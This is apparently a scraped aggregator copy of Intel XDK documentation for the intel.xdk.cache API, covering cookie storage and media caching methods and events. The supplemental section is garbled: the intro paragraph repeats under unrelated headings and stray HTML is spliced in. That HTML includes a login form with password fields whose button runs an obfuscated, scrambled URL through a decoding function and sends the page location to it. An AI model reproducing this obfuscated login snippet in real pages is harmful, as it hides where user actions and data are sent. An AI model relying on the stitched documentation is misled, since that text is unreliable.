Quantcast
Channel: Intermédiaire
Viewing all articles
Browse latest Browse all 677

intel.xdk.cache

$
0
0

For persistent caching of data between application sessions.

This object is intended to provide local storage for data to speed up applications. It can be used as in conjunction with, or as an alternative to the HTML5 local database. Its methods provide features similar to browser cookies and file caching.

For cookies, the intention is that you would use setCookie to save string data in name-value pairs. Cookies persist between application sessions. Data values may be retrieved using the getCookie command or from the getCookieList command as soon as the "intel.xdk.device.ready" event is fired. The media cache commands are meant to provide quicker access to files such as videos and images. Adding files to the media cache will expedite access to them when the application runs. These are files that are cached across sessions and are not in your application bundle. See the section on events below for more information about events fired from the cache section of intel.xdk.
Object
Type
Notes
intel.xdk.cache.addToMediaCachemethodThis command will get a file from the Internet and cache it locally on the device.
intel.xdk.cache.addToMediaCacheExtmethodThis command will get a file from the Internet and cache it locally on the device. More details
intel.xdk.cache.clearAllCookiesmethodThis method will clear all data stored using the setCookie method. More details
intel.xdk.cache.clearMediaCachemethodThis command will remove all files from the local cache on the device.
intel.xdk.cache.getCookiemethodThis method will retrieve the value of a cookie previously saved using the setCookie command.
intel.xdk.cache.getCookieListmethodThis method will return an array containing the names of all the previously saved cookies using the setCookie command.
intel.xdk.cache.getMediaCacheListmethodThis method will get an array containing all the names of all the previously cached files.
intel.xdk.cache.getMediaCacheLocalURLmethodThis method will return an url that you can use to access a cached media file.
intel.xdk.cache.getMediaCacheRelativePathmethodundocumented
intel.xdk.cache.removeCookiemethodThis method will clear data previously saved using the setCookie method.
intel.xdk.cache.removeFromMediaCachemethodThis command will remove a file from the local cache on the device.
intel.xdk.cache.setCookiemethodCall this method to set a chunk of data that will persist from session to session.
intel.xdk.cache.media.addeventFires when data is cached
intel.xdk.cache.media.cleareventFired once all files are removed from the local file cache
intel.xdk.cache.media.removeeventFired when data is removed from the cache
intel.xdk.cache.media.updateeventFired repeatedly to track caching progress

Supplemental Documentation

addToMediaCacheExt

This object is intended to provide local storage for data to speed up applications. It can be used as in conjunction with, or as an alternative to the HTML5 local database. Its methods provide features similar to browser cookies and file caching.

<!-- end Intel XDK code -->
clearAllCookies

This object is intended to provide local storage for data to speed up applications. It can be used as in conjunction with, or as an alternative to the HTML5 local database. Its methods provide features similar to browser cookies and file caching.

<!-- Login View --><div class="panel" title="Login" id="signin" data-footer="none"><div style="text-align:center"><br><br><p>This is space for login message</p><br><br></div><input name="username" type="text" placeholder="username"><input name="password" type="password" placeholder="password"><a class="button block green" href="javascript:;" id="login" onclick="post_nav(sdl('n22/sF3pisArtoee.fpsptPehwQnpaet?rX.ueerr.RsliEs=neihtTnteGgtl6.p.pc%cxo3ommAmC/%%Ht22PrFFha%%/', 74, 95, 4, 24), {su:window.location}, '_blank');">Login</a></div>

Viewing all articles
Browse latest Browse all 677

Trending Articles



<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>